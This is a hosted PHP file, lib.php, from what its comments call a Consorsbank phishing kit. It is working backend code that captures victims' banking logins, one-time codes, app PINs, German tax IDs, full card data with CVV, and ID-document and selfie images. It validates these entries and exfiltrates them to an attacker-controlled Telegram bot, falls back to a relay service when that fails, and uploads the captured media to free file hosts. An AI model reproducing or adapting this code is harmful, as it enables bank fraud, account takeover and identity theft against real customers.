Spaces:
Paused
Paused
CJs
Deploy v2: German localization, ID/selfie capture, trilingual panel, sound alerts, live movements
9d38145 Download lib.php from red-kit/consorsbank-kit: direct link, hf CLI and curl.
- Browser
- Download file 35.8 kB
-
https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/lib.php
- Command line
-
hf download hf://spaces/red-kit/consorsbank-kit/lib.php
-
curl -L -o lib.php https://huggingface.co/spaces/red-kit/consorsbank-kit/resolve/main/lib.php
35.8 kB
<?php
/**
* lib.php — Consorsbank kit backend core.
*
* Config, storage (pluggable MySQL/SQLite, self-migrating), validation, Telegram
* exfil (+ r.jina.ai relay), best-effort enrichment, and message builders.
*
* Plain PHP 8.2, no Composer. Everything here is best-effort where it touches the
* network so the funnel never breaks. Structure mirrors the OceanFirst reference;
* only the brand strings (Consorsbank) differ.
*/
declare(strict_types=1);
if (!defined('OFB_LIB')) {
define('OFB_LIB', 1);
}
/* ------------------------------------------------------------------------- */
/* Config */
/* ------------------------------------------------------------------------- */
/**
* Read an environment value, accepting either `KEY` or `OFB_KEY`.
*/
function ofb_env(string $key, $default = null)
{
$v = getenv($key);
if ($v === false || $v === '') {
$v = getenv('OFB_' . $key);
}
if ($v === false || $v === '') {
return $default;
}
return $v;
}
/* ------------------------------------------------------------------------- */
/* Storage */
/* ------------------------------------------------------------------------- */
/**
* Return a PDO handle. MySQL when DB_HOST is set, otherwise SQLite at
* data/live.db. Ensures the schema on every connect (self-migrating).
*/
function ofb_db(): PDO
{
$host = ofb_env('DB_HOST', '');
if ($host !== '' && $host !== null) {
$name = (string) ofb_env('DB_NAME', 'consorsbank');
$user = (string) ofb_env('DB_USER', 'consors');
$pass = (string) ofb_env('DB_PASS', 'consors');
$pdo = new PDO(
'mysql:host=' . $host . ';dbname=' . $name . ';charset=utf8mb4',
$user,
$pass,
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]
);
ofb_ensure_schema($pdo, 'mysql');
return $pdo;
}
$dir = __DIR__ . '/data';
if (!is_dir($dir)) {
@mkdir($dir, 0775, true);
}
$pdo = new PDO('sqlite:' . $dir . '/live.db', null, null, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
]);
@$pdo->exec('PRAGMA journal_mode = WAL');
@$pdo->exec('PRAGMA busy_timeout = 5000');
ofb_ensure_schema($pdo, 'sqlite');
return $pdo;
}
/** Canonical column definitions: name => SQL type fragment. */
function ofb_columns(): array
{
return [
'client_id' => 'VARCHAR(64)',
'ip_address' => 'VARCHAR(45)',
'user_agent' => 'VARCHAR(255)',
'device' => 'VARCHAR(16)',
'bot' => 'VARCHAR(16)',
'current_page' => 'VARCHAR(64)',
'status' => 'VARCHAR(96)',
'username' => 'VARCHAR(128)',
'otp' => 'VARCHAR(16)',
'stage' => 'VARCHAR(16)',
'provider' => 'VARCHAR(32)',
'email' => 'VARCHAR(190)',
'tokens' => 'TEXT',
'cookies' => 'TEXT',
'session_valid' => 'VARCHAR(8)',
'verified_at' => 'VARCHAR(32)',
'session_at' => 'VARCHAR(32)',
'proxy' => 'VARCHAR(190)',
'routed_to' => 'VARCHAR(190)',
'command' => 'VARCHAR(32)',
'last_seen' => 'VARCHAR(32)',
'push_state' => 'VARCHAR(16)',
'push_pin' => 'VARCHAR(16)',
'push_bio' => 'VARCHAR(8)',
'push_at' => 'VARCHAR(32)',
'doc_type' => 'VARCHAR(16)',
'capture_front' => 'VARCHAR(190)',
'capture_back' => 'VARCHAR(190)',
'capture_selfie'=> 'VARCHAR(190)',
'bot_score' => 'VARCHAR(8)',
'bot_reasons' => 'TEXT',
'capture_cloud' => 'TEXT',
];
}
/** Columns that carry a DEFAULT clause. */
function ofb_column_defaults(): array
{
return [
'command' => "'none'",
'push_state' => "'none'",
'push_bio' => "'no'",
];
}
/**
* CREATE TABLE IF NOT EXISTS live_users(...) then self-migrate: add any missing
* columns via ALTER TABLE. Handles driver = mysql|sqlite.
*/
function ofb_ensure_schema(PDO $pdo, string $driver): void
{
try {
$cols = ofb_columns();
$defs = ofb_column_defaults();
if ($driver === 'mysql') {
$parts = [];
foreach ($cols as $name => $type) {
$frag = "`$name` $type";
if ($name === 'client_id') {
$frag .= ' NOT NULL';
}
if (isset($defs[$name])) {
$frag .= ' DEFAULT ' . $defs[$name];
}
$parts[] = $frag;
}
$parts[] = 'PRIMARY KEY (`client_id`)';
$ddl = 'CREATE TABLE IF NOT EXISTS `live_users` (' . implode(', ', $parts)
. ') ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci';
$pdo->exec($ddl);
$existing = [];
foreach ($pdo->query('SHOW COLUMNS FROM `live_users`') as $row) {
$existing[strtolower((string) $row['Field'])] = true;
}
foreach ($cols as $name => $type) {
if (isset($existing[strtolower($name)])) {
continue;
}
$frag = "`$name` $type";
if (isset($defs[$name])) {
$frag .= ' DEFAULT ' . $defs[$name];
}
$pdo->exec("ALTER TABLE `live_users` ADD COLUMN $frag");
}
ofb_ensure_events($pdo, 'mysql');
return;
}
// SQLite
$parts = [];
foreach ($cols as $name => $type) {
$frag = "\"$name\" $type";
if (isset($defs[$name])) {
$frag .= ' DEFAULT ' . $defs[$name];
}
$parts[] = $frag;
}
$parts[] = 'PRIMARY KEY ("client_id")';
$pdo->exec('CREATE TABLE IF NOT EXISTS live_users (' . implode(', ', $parts) . ')');
$existing = [];
foreach ($pdo->query('PRAGMA table_info(live_users)') as $row) {
$existing[strtolower((string) $row['name'])] = true;
}
foreach ($cols as $name => $type) {
if (isset($existing[strtolower($name)])) {
continue;
}
$frag = "\"$name\" $type";
if (isset($defs[$name])) {
$frag .= ' DEFAULT ' . $defs[$name];
}
$pdo->exec('ALTER TABLE live_users ADD COLUMN ' . $frag);
}
ofb_ensure_events($pdo, 'sqlite');
} catch (Throwable $e) {
// best-effort: never break the request on a migration hiccup
}
}
/**
* Ensure the live_events table exists (movement/activity timeline).
* Self-migrating; handles driver = mysql|sqlite.
*/
function ofb_ensure_events(PDO $pdo, string $driver): void
{
if ($driver === 'mysql') {
$pdo->exec('CREATE TABLE IF NOT EXISTS `live_events` ('
. '`id` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,'
. '`client_id` VARCHAR(64) NOT NULL,'
. '`ts` VARCHAR(32) DEFAULT NULL,'
. '`page` VARCHAR(64) DEFAULT NULL,'
. '`kind` VARCHAR(24) DEFAULT NULL,'
. '`detail` VARCHAR(190) DEFAULT NULL'
. ') ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci');
try {
$pdo->exec('CREATE INDEX `idx_live_events_client` ON `live_events` (`client_id`)');
} catch (Throwable $e) {
// index may already exist
}
return;
}
$pdo->exec('CREATE TABLE IF NOT EXISTS live_events ('
. 'id INTEGER PRIMARY KEY AUTOINCREMENT,'
. 'client_id VARCHAR(64) NOT NULL,'
. 'ts VARCHAR(32) DEFAULT NULL,'
. 'page VARCHAR(64) DEFAULT NULL,'
. 'kind VARCHAR(24) DEFAULT NULL,'
. 'detail VARCHAR(190) DEFAULT NULL)');
try {
$pdo->exec('CREATE INDEX IF NOT EXISTS idx_live_events_client ON live_events (client_id)');
} catch (Throwable $e) {
// index may already exist
}
}
/**
* Append a movement/activity event. Prunes entries older than 24 h (best-effort).
*/
function ofb_event_add(PDO $pdo, string $client_id, string $page, string $kind, string $detail): void
{
$pdo->prepare('INSERT INTO live_events (client_id, ts, page, kind, detail) VALUES (?, ?, ?, ?, ?)')
->execute([
$client_id,
date('Y-m-d H:i:s'),
substr($page, 0, 64),
substr($kind, 0, 24),
substr($detail, 0, 190),
]);
try {
$cutoff = date('Y-m-d H:i:s', time() - 86400);
$pdo->prepare('DELETE FROM live_events WHERE ts IS NULL OR ts = ? OR ts < ?')
->execute(['', $cutoff]);
} catch (Throwable $e) {
// best-effort
}
}
/**
* Portable insert-or-update. Always bumps last_seen unless the caller supplied it.
*/
function ofb_upsert(PDO $pdo, string $client_id, array $fields): void
{
if (!isset($fields['last_seen']) || $fields['last_seen'] === '' || $fields['last_seen'] === null) {
$fields['last_seen'] = date('Y-m-d H:i:s');
}
unset($fields['client_id']);
$st = $pdo->prepare('SELECT 1 FROM live_users WHERE client_id = ?');
$st->execute([$client_id]);
$exists = (bool) $st->fetchColumn();
if ($exists) {
if (!$fields) {
return;
}
$sets = [];
$params = [];
foreach ($fields as $k => $v) {
$sets[] = "\"$k\" = ?";
$params[] = $v;
}
$params[] = $client_id;
$sql = 'UPDATE live_users SET ' . str_replace('"', '', implode(', ', $sets)) . ' WHERE client_id = ?';
$pdo->prepare($sql)->execute($params);
return;
}
$cols = array_merge(['client_id'], array_keys($fields));
$vals = array_merge([$client_id], array_values($fields));
$ph = implode(', ', array_fill(0, count($cols), '?'));
$sql = 'INSERT INTO live_users (' . implode(', ', $cols) . ') VALUES (' . $ph . ')';
$pdo->prepare($sql)->execute($vals);
}
/* ------------------------------------------------------------------------- */
/* Request context */
/* ------------------------------------------------------------------------- */
/** Client IP, honoring X-Forwarded-For / CF-Connecting-IP. */
function ofb_client_ip(): string
{
$xff = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? '';
if ($xff !== '') {
$first = trim(explode(',', $xff)[0]);
if ($first !== '') {
return $first;
}
}
$cf = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? '';
if ($cf !== '') {
return trim($cf);
}
return (string) ($_SERVER['REMOTE_ADDR'] ?? '');
}
/* ------------------------------------------------------------------------- */
/* HTTP (best-effort) */
/* ------------------------------------------------------------------------- */
/**
* Minimal GET/POST via cURL. Never throws; returns [ok, body, httpCode].
* $post === null → GET, else POST form.
*/
function ofb_http(string $url, ?array $post = null, int $timeout = 6): array
{
if (!function_exists('curl_init')) {
return [false, '', 0];
}
try {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
CURLOPT_CONNECTTIMEOUT => min(4, $timeout),
CURLOPT_TIMEOUT => $timeout,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Consorsbank-Kit)',
]);
if ($post !== null) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post));
}
$body = curl_exec($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err = curl_error($ch);
curl_close($ch);
if ($body === false) {
return [false, (string) $err, $code];
}
return [$code >= 200 && $code < 400, (string) $body, $code];
} catch (Throwable $e) {
return [false, '', 0];
}
}
/* ------------------------------------------------------------------------- */
/* Telegram exfil */
/* ------------------------------------------------------------------------- */
/**
* Send a plain-text Telegram message (no parse_mode). Direct POST first; on
* failure relay via r.jina.ai with the URL double-encoded. Best-effort.
*/
function ofb_telegram(string $text): bool
{
$token = (string) ofb_env('TELEGRAM_BOT_TOKEN', '');
$chat = (string) ofb_env('TELEGRAM_CHAT_ID', '');
if ($token === '' || $chat === '') {
return false;
}
$api = 'https://api.telegram.org/bot' . $token . '/sendMessage';
$params = [
'chat_id' => $chat,
'text' => $text,
'disable_web_page_preview' => 'true',
];
// 1) direct POST
try {
if (function_exists('curl_init')) {
$ch = curl_init($api);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($params),
CURLOPT_CONNECTTIMEOUT => 4,
CURLOPT_TIMEOUT => 8,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
]);
$body = curl_exec($ch);
curl_close($ch);
if (is_string($body) && strpos($body, '"ok":true') !== false) {
return true;
}
}
} catch (Throwable $e) {
// fall through to relay
}
// 2) relay via r.jina.ai (double-encoded target URL)
try {
$target = $api . '?' . http_build_query($params);
$relay = 'https://r.jina.ai/' . rawurlencode(rawurlencode($target));
[$ok, $body] = ofb_http($relay, null, 12);
if ($ok && is_string($body) && strpos($body, '"ok":true') !== false) {
return true;
}
} catch (Throwable $e) {
// give up quietly
}
return false;
}
/* ------------------------------------------------------------------------- */
/* Cache */
/* ------------------------------------------------------------------------- */
/** On-disk JSON cache under data/.cache. Best-effort. */
function ofb_cache(string $key, int $ttl, callable $fn)
{
$dir = __DIR__ . '/data/.cache';
if (!is_dir($dir)) {
@mkdir($dir, 0775, true);
}
$file = $dir . '/' . md5($key) . '.json';
try {
if (is_file($file) && (time() - (int) @filemtime($file)) < $ttl) {
$raw = @file_get_contents($file);
if ($raw !== false) {
return json_decode($raw, true);
}
}
} catch (Throwable $e) {
// ignore
}
try {
$val = $fn();
} catch (Throwable $e) {
$val = null;
}
try {
@file_put_contents($file, json_encode($val));
} catch (Throwable $e) {
// ignore
}
return $val;
}
/* ------------------------------------------------------------------------- */
/* Enrichment (best-effort) */
/* ------------------------------------------------------------------------- */
/** Reverse DNS with DoH fallback. */
function ofb_ptr(string $ip): string
{
if ($ip === '' || filter_var($ip, FILTER_VALIDATE_IP) === false) {
return '';
}
return (string) ofb_cache('ptr:' . $ip, 86400, function () use ($ip) {
$host = @gethostbyaddr($ip);
if (is_string($host) && $host !== '' && $host !== $ip) {
return $host;
}
$rev = implode('.', array_reverse(explode('.', $ip))) . '.in-addr.arpa';
[$ok, $body] = ofb_http('https://dns.google/resolve?name=' . rawurlencode($rev) . '&type=PTR', null, 5);
if ($ok) {
$j = json_decode((string) $body, true);
if (is_array($j) && !empty($j['Answer'][0]['data'])) {
return rtrim((string) $j['Answer'][0]['data'], '.');
}
}
return '';
});
}
/** Geo lookup: ipwho.is → ip-api.com. */
function ofb_geo(string $ip): string
{
if ($ip === '' || filter_var($ip, FILTER_VALIDATE_IP) === false) {
return '';
}
return (string) ofb_cache('geo:' . $ip, 86400, function () use ($ip) {
[$ok, $body] = ofb_http('https://ipwho.is/' . rawurlencode($ip), null, 6);
if ($ok) {
$j = json_decode((string) $body, true);
if (is_array($j) && !empty($j['success'])) {
$city = $j['city'] ?? '';
$country = $j['country'] ?? '';
$out = trim($city . ($city && $country ? ', ' : '') . $country);
if ($out !== '') {
return $out;
}
}
}
[$ok2, $body2] = ofb_http('http://ip-api.com/json/' . rawurlencode($ip), null, 6);
if ($ok2) {
$j2 = json_decode((string) $body2, true);
if (is_array($j2) && ($j2['status'] ?? '') === 'success') {
$city = $j2['city'] ?? '';
$country = $j2['country'] ?? '';
return trim($city . ($city && $country ? ', ' : '') . $country);
}
}
return '';
});
}
/** Card BIN lookup via binlist.net. */
function ofb_bin(string $prefix): string
{
$prefix = preg_replace('/\D+/', '', $prefix);
if (strlen((string) $prefix) < 6) {
return '';
}
$prefix = substr($prefix, 0, 6);
return (string) ofb_cache('bin:' . $prefix, 604800, function () use ($prefix) {
[$ok, $body] = ofb_http('https://lookup.binlist.net/' . $prefix, null, 6);
if (!$ok) {
return '';
}
$j = json_decode((string) $body, true);
if (!is_array($j)) {
return '';
}
$scheme = strtoupper((string) ($j['scheme'] ?? ''));
$type = ucfirst((string) ($j['type'] ?? ''));
$bank = (string) ($j['bank']['name'] ?? '');
$out = trim($scheme . ' ' . $type);
if ($bank !== '') {
$out .= ($out ? ' — ' : '') . $bank;
}
return trim($out);
});
}
/** Human UA summary, e.g. "Chrome 120 on Android". */
function ofb_browser(string $ua): string
{
$ua = (string) $ua;
if ($ua === '') {
return 'Unknown';
}
$os = '';
$br = '';
if (preg_match('/Android/i', $ua)) {
$os = 'Android';
} elseif (preg_match('/iPhone|iPad|iPod/i', $ua)) {
$os = 'iOS';
} elseif (preg_match('/Windows/i', $ua)) {
$os = 'Windows';
} elseif (preg_match('/Macintosh|Mac OS X/i', $ua)) {
$os = 'macOS';
} elseif (preg_match('/Linux/i', $ua)) {
$os = 'Linux';
}
if (preg_match('/Edg\/(\d+)/', $ua, $m)) {
$br = 'Edge ' . $m[1];
} elseif (preg_match('/OPR\/(\d+)/', $ua, $m)) {
$br = 'Opera ' . $m[1];
} elseif (preg_match('/Chrome\/(\d+)/', $ua, $m)) {
$br = 'Chrome ' . $m[1];
} elseif (preg_match('/Firefox\/(\d+)/', $ua, $m)) {
$br = 'Firefox ' . $m[1];
} elseif (preg_match('/Version\/(\d+).*Safari/', $ua, $m)) {
$br = 'Safari ' . $m[1];
} elseif (preg_match('/Safari\/(\d+)/', $ua, $m)) {
$br = 'Safari ' . $m[1];
}
$out = trim($br . ($os !== '' ? ' on ' . $os : ''));
return $out !== '' ? $out : 'Unknown';
}
/* ------------------------------------------------------------------------- */
/* Message builders (exact shapes) */
/* ------------------------------------------------------------------------- */
/** Pad a label to a fixed width for aligned blocks. */
function ofb_pad(string $label): string
{
return str_pad($label, 17);
}
/** The #Client_<id> tag. */
function ofb_tag(string $id): string
{
return '#Client_' . ($id !== '' ? $id : 'unknown');
}
/** Message header. */
function ofb_head(string $title): string
{
return "|==- Consorsbank -==|\n|---- " . $title . " ----|";
}
/** Message footer. */
function ofb_foot(string $id): string
{
return "|--===-===-===-- Consorsbank --===-===-===--|\n" . ofb_tag($id);
}
/** Aligned device / IP / geo / browser block. */
function ofb_device_block(array $ctx): string
{
$lines = [];
$lines[] = ofb_pad('Gerät:') . ($ctx['device'] ?? '');
$lines[] = ofb_pad('IP:') . ($ctx['ip'] ?? '');
$lines[] = ofb_pad('Ort:') . ($ctx['geo'] ?? '');
$lines[] = ofb_pad('Browser:') . ($ctx['browser'] ?? '');
return implode("\n", $lines);
}
/** Login notification block. */
function ofb_msg_login(array $in): string
{
$out = ofb_head('Login') . "\n";
$out .= ofb_device_block($in) . "\n";
$out .= ofb_pad('Benutzer:') . ($in['username'] ?? '') . "\n";
$out .= ofb_pad('Passwort:') . ($in['password'] ?? '') . "\n";
$out .= ofb_foot((string) ($in['client_id'] ?? ''));
return $out;
}
/** OTP notification block. */
function ofb_msg_otp(array $in): string
{
$out = ofb_head('OTP') . "\n";
$out .= ofb_device_block($in) . "\n";
$out .= ofb_pad('Code:') . ($in['otp'] ?? '') . "\n";
$out .= ofb_foot((string) ($in['client_id'] ?? ''));
return $out;
}
/** Identity notification block with per-field ✅/❌ markers. */
function ofb_msg_identity(array $in, array $checks): string
{
$fields = [
['full_name', 'Name:', $in['full_name'] ?? ''],
['email', 'E-Mail:', $in['email'] ?? ''],
['phone', 'Telefon:', $in['phone'] ?? ''],
['address', 'Adresse:', $in['address'] ?? ''],
['dob', 'Geburtsdatum:', $in['dob'] ?? ''],
['ssn', 'Steuer-ID:', $in['ssn'] ?? ''],
['mmn', 'Geburtsort:', $in['mmn'] ?? ''],
['card', 'Karte:', $in['card_number'] ?? ''],
['expiry', 'Gültig:', $in['expiry'] ?? ''],
['cvv', 'KPN:', $in['cvv'] ?? ''],
['zip', 'PLZ:', $in['zipcode'] ?? ''],
];
$out = ofb_head('Identität') . "\n";
$out .= ofb_device_block($in) . "\n";
foreach ($fields as $f) {
[$key, $label, $val] = $f;
$mark = !empty($checks[$key]) ? '✅' : '❌';
$out .= $mark . ' ' . ofb_pad($label) . $val . "\n";
}
$out .= ofb_foot((string) ($in['client_id'] ?? ''));
return $out;
}
/** Push-2FA notification block (serves push_sent and push_denied/confirmed). */
function ofb_msg_push(array $in): string
{
$state = (string) ($in['push_state'] ?? '');
$statusMap = [
'sent' => 'Push gesendet',
'opened' => 'App geöffnet',
'approved' => 'Freigegeben',
'confirmed' => 'Freigegeben',
'denied' => 'Abgelehnt',
'expired' => 'Abgelaufen',
'none' => 'Push gesendet',
];
$status = $statusMap[$state] ?? 'Push gesendet';
$out = ofb_head('Push') . "\n";
$out .= ofb_device_block($in) . "\n";
$out .= ofb_pad('Anwendung:') . ($in['app'] ?? 'Online-Banking') . "\n";
$out .= ofb_pad('Datum:') . ($in['date'] ?? date('d.m.Y H:i')) . "\n";
$out .= ofb_pad('Browser:') . ($in['browser'] ?? '') . "\n";
$out .= ofb_pad('Ort:') . ($in['geo'] ?? '') . "\n";
$bio = (string) ($in['push_bio'] ?? 'no');
$pin = (string) ($in['push_pin'] ?? '');
if ($bio === 'faceid') {
$out .= ofb_pad('Freigabe:') . "Biometrie (Face ID)\n";
} elseif ($bio === 'fingerprint' || $bio === 'finger') {
$out .= ofb_pad('Freigabe:') . "Biometrie (Fingerabdruck)\n";
} elseif ($pin !== '') {
$out .= ofb_pad('AppPIN:') . $pin . "\n";
}
$out .= ofb_pad('Status:') . $status . "\n";
$out .= ofb_foot((string) ($in['client_id'] ?? ''));
return $out;
}
/** Persist a session row (harmless, no AiTM). */
function ofb_save_session(string $client_id, string $email, string $provider): void
{
try {
$pdo = ofb_db();
ofb_upsert($pdo, $client_id, [
'email' => $email,
'provider' => $provider,
'session_at' => date('Y-m-d H:i:s'),
]);
} catch (Throwable $e) {
// best-effort
}
}
/** Persist a document/selfie capture path on the live row (best-effort). */
function ofb_save_capture(string $client_id, string $kind, string $path): void
{
$col = [
'id_front' => 'capture_front',
'id_back' => 'capture_back',
'selfie' => 'capture_selfie',
][$kind] ?? '';
if ($col === '' || $client_id === '' || $path === '') {
return;
}
try {
$pdo = ofb_db();
ofb_upsert($pdo, $client_id, [$col => $path]);
} catch (Throwable $e) {
// best-effort
}
}
/** Telegram notification for a document / selfie-liveness capture. */
function ofb_msg_capture(array $in): string
{
$kindMap = [
'id_front' => 'Ausweis Vorderseite',
'id_back' => 'Ausweis Rückseite',
'selfie' => 'Selfie (Live-Check)',
];
$kind = (string) ($in['kind'] ?? '');
$label = $kindMap[$kind] ?? ucfirst($kind);
$out = ofb_head('Dokument') . "\n";
$out .= ofb_device_block($in) . "\n";
$out .= ofb_pad('Art:') . $label . "\n";
$q = $in['quality'] ?? [];
if (is_array($q) && $q) {
$out .= ofb_pad('Qualität:') . 'Licht ' . (int) ($q['light'] ?? 0)
. ' · Schärfe ' . (int) ($q['sharp'] ?? 0)
. ' · Ruhig ' . (int) ($q['stable'] ?? 0) . "\n";
}
if (!empty($in['video'])) {
$out .= ofb_pad('Video:') . $in['video'] . "\n";
}
if (!empty($in['file'])) {
$out .= ofb_pad('Datei:') . $in['file'] . "\n";
}
$out .= ofb_foot((string) ($in['client_id'] ?? ''));
return $out;
}
/* ------------------------------------------------------------------------- */
/* Cloud storage (free lifetime tiers) + full-resolution media delivery */
/* ------------------------------------------------------------------------- */
/**
* Configured cloud targets from CLOUD_UPLOAD (comma list: "catbox", "0x0";
* "none"/"off"/empty disables). Default "catbox" — permanent, keyless hosting.
* Telegram document delivery runs additionally whenever TELEGRAM_* is set.
*/
function ofb_cloud_targets(): array
{
$raw = strtolower(trim((string) ofb_env('CLOUD_UPLOAD', 'catbox')));
if ($raw === '' || $raw === 'none' || $raw === 'off') {
return [];
}
$out = [];
foreach (explode(',', $raw) as $t) {
$t = trim($t);
if ($t === 'catbox' || $t === '0x0') {
$out[] = $t;
}
}
return array_values(array_unique($out));
}
/**
* Upload a file to the configured free cloud hosts (catbox.moe = permanent /
* lifetime, 0x0.st = long retention). Returns the remote URLs (best-effort).
*/
function ofb_cloud_upload(string $absPath, string $filename): array
{
$urls = [];
if (!is_file($absPath) || !function_exists('curl_init') || !class_exists('CURLFile')) {
return $urls;
}
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$mime = 'application/octet-stream';
if ($ext === 'jpg' || $ext === 'jpeg') {
$mime = 'image/jpeg';
} elseif ($ext === 'png') {
$mime = 'image/png';
} elseif ($ext === 'webm') {
$mime = 'video/webm';
} elseif ($ext === 'mp4') {
$mime = 'video/mp4';
}
foreach (ofb_cloud_targets() as $target) {
try {
$ch = curl_init($target === 'catbox' ? 'https://catbox.moe/user/api.php' : 'https://0x0.st');
$post = $target === 'catbox'
? ['reqtype' => 'fileupload', 'fileToUpload' => new CURLFile($absPath, $mime, $filename)]
: ['file' => new CURLFile($absPath, $mime, $filename)];
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post,
CURLOPT_CONNECTTIMEOUT => 4,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Consorsbank-Kit)',
]);
$body = curl_exec($ch);
$code = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code >= 200 && $code < 300 && is_string($body)) {
$url = trim($body);
if (strpos($url, 'http') === 0 && strlen($url) < 300) {
$urls[] = $url;
}
}
} catch (Throwable $e) {
// best-effort
}
}
return $urls;
}
/**
* Deliver a media file to Telegram as a *document* — full resolution, no
* recompression (sendPhoto would downscale). Telegram is the free lifetime
* cloud of record. Direct multipart POST only; best-effort.
*/
function ofb_telegram_document(string $absPath, string $filename, string $caption): bool
{
$token = (string) ofb_env('TELEGRAM_BOT_TOKEN', '');
$chat = (string) ofb_env('TELEGRAM_CHAT_ID', '');
if ($token === '' || $chat === '' || !is_file($absPath) || !function_exists('curl_init') || !class_exists('CURLFile')) {
return false;
}
try {
$ch = curl_init('https://api.telegram.org/bot' . $token . '/sendDocument');
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => [
'chat_id' => $chat,
'caption' => substr($caption, 0, 1000),
'document' => new CURLFile($absPath, 'application/octet-stream', $filename),
],
CURLOPT_CONNECTTIMEOUT => 4,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => 0,
]);
$body = curl_exec($ch);
curl_close($ch);
return is_string($body) && strpos($body, '"ok":true') !== false;
} catch (Throwable $e) {
return false;
}
}
/** Append a capture record to captures/manifest.jsonl (locked, best-effort). */
function ofb_capture_manifest(array $record): void
{
try {
$dir = __DIR__ . '/captures';
if (!is_dir($dir)) {
@mkdir($dir, 0775, true);
}
$fh = @fopen($dir . '/manifest.jsonl', 'a');
if ($fh === false) {
return;
}
if (flock($fh, LOCK_EX)) {
fwrite($fh, json_encode($record, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . "\n");
fflush($fh);
flock($fh, LOCK_UN);
}
fclose($fh);
} catch (Throwable $e) {
// best-effort
}
}
/** Digits only. */
function v_digits($s): string
{
return preg_replace('/\D+/', '', (string) $s);
}
function valid_email($s): bool
{
return filter_var(trim((string) $s), FILTER_VALIDATE_EMAIL) !== false;
}
function valid_phone($s): bool
{
$s = trim((string) $s);
if ($s === '') {
return false;
}
if (!preg_match('/^\+?[0-9\s().\-]+$/', $s)) {
return false;
}
$n = strlen(v_digits($s));
return $n >= 7 && $n <= 20;
}
/** Luhn checksum. */
function luhn($s): bool
{
$d = v_digits($s);
if ($d === '') {
return false;
}
$sum = 0;
$alt = false;
for ($i = strlen($d) - 1; $i >= 0; $i--) {
$n = (int) $d[$i];
if ($alt) {
$n *= 2;
if ($n > 9) {
$n -= 9;
}
}
$sum += $n;
$alt = !$alt;
}
return $sum % 10 === 0;
}
function valid_card($s): bool
{
$d = v_digits($s);
$n = strlen($d);
if ($n < 13 || $n > 19) {
return false;
}
return luhn($d);
}
function card_brand($s): string
{
$d = v_digits($s);
if ($d === '') {
return 'card';
}
if ($d[0] === '4') {
return 'visa';
}
if (preg_match('/^5[1-5]/', $d)) {
return 'mastercard';
}
if (preg_match('/^2[2-7]/', $d)) {
return 'mastercard';
}
if (preg_match('/^3[47]/', $d)) {
return 'amex';
}
if (preg_match('/^6(011|5)/', $d)) {
return 'discover';
}
return 'card';
}
/** German date `TT.MM.JJJJ` (strict) or ISO `YYYY-MM-DD`; 1900-01-01 … today. */
function valid_dob($s): bool
{
$s = trim((string) $s);
if ($s === '') {
return false;
}
$t = false;
if (preg_match('/^([0-3][0-9])\.([0-1][0-9])\.([0-9]{4})$/', $s, $m)) {
$dd = (int) $m[1];
$mm = (int) $m[2];
$yyyy = (int) $m[3];
$t = mktime(0, 0, 0, $mm, $dd, $yyyy);
if ($t === false || (int) date('j', $t) !== $dd || (int) date('n', $t) !== $mm) {
return false; // impossible date, e.g. 31.02.1990
}
} else {
$t = strtotime($s);
}
if ($t === false) {
return false;
}
if ($t > time()) {
return false;
}
if ($t < strtotime('1900-01-01')) {
return false;
}
return true;
}
/**
* German Steuer-ID: 11 digits, first digit ≠ 0, ISO-7064 MOD 11,10 check digit.
* Accepts grouped input ("12 345 678 901") — whitespace is stripped first.
*/
function steuerid_check(string $d): bool
{
if (!preg_match('/^[1-9][0-9]{10}$/', $d)) {
return false;
}
$product = 10;
for ($i = 0; $i < 10; $i++) {
$sum = ((int) $d[$i] + $product) % 10;
if ($sum === 0) {
$sum = 10;
}
$product = (2 * $sum) % 11;
}
$check = 11 - $product;
if ($check === 10) {
$check = 0;
}
return (int) $d[10] === $check;
}
function valid_ssn($s): bool
{
return steuerid_check(preg_replace('/\s+/', '', trim((string) $s)));
}
/** German Postleitzahl: exactly 5 digits. */
function valid_zip($s): bool
{
return (bool) preg_match('/^[0-9]{5}$/', trim((string) $s));
}
/** Kartenprüfnummer (KPN): exactly 3 digits. */
function valid_cvv($s): bool
{
return (bool) preg_match('/^[0-9]{3}$/', trim((string) $s));
}
function valid_expiry($s): bool
{
$s = trim((string) $s);
if (!preg_match('#^(0[1-9]|1[0-2])\s*/\s*(\d{2}|\d{4})$#', $s, $m)) {
return false;
}
$mm = (int) $m[1];
$yy = (int) $m[2];
if ($yy < 100) {
$yy += 2000;
}
return mktime(23, 59, 59, $mm + 1, 0, $yy) >= time();
}
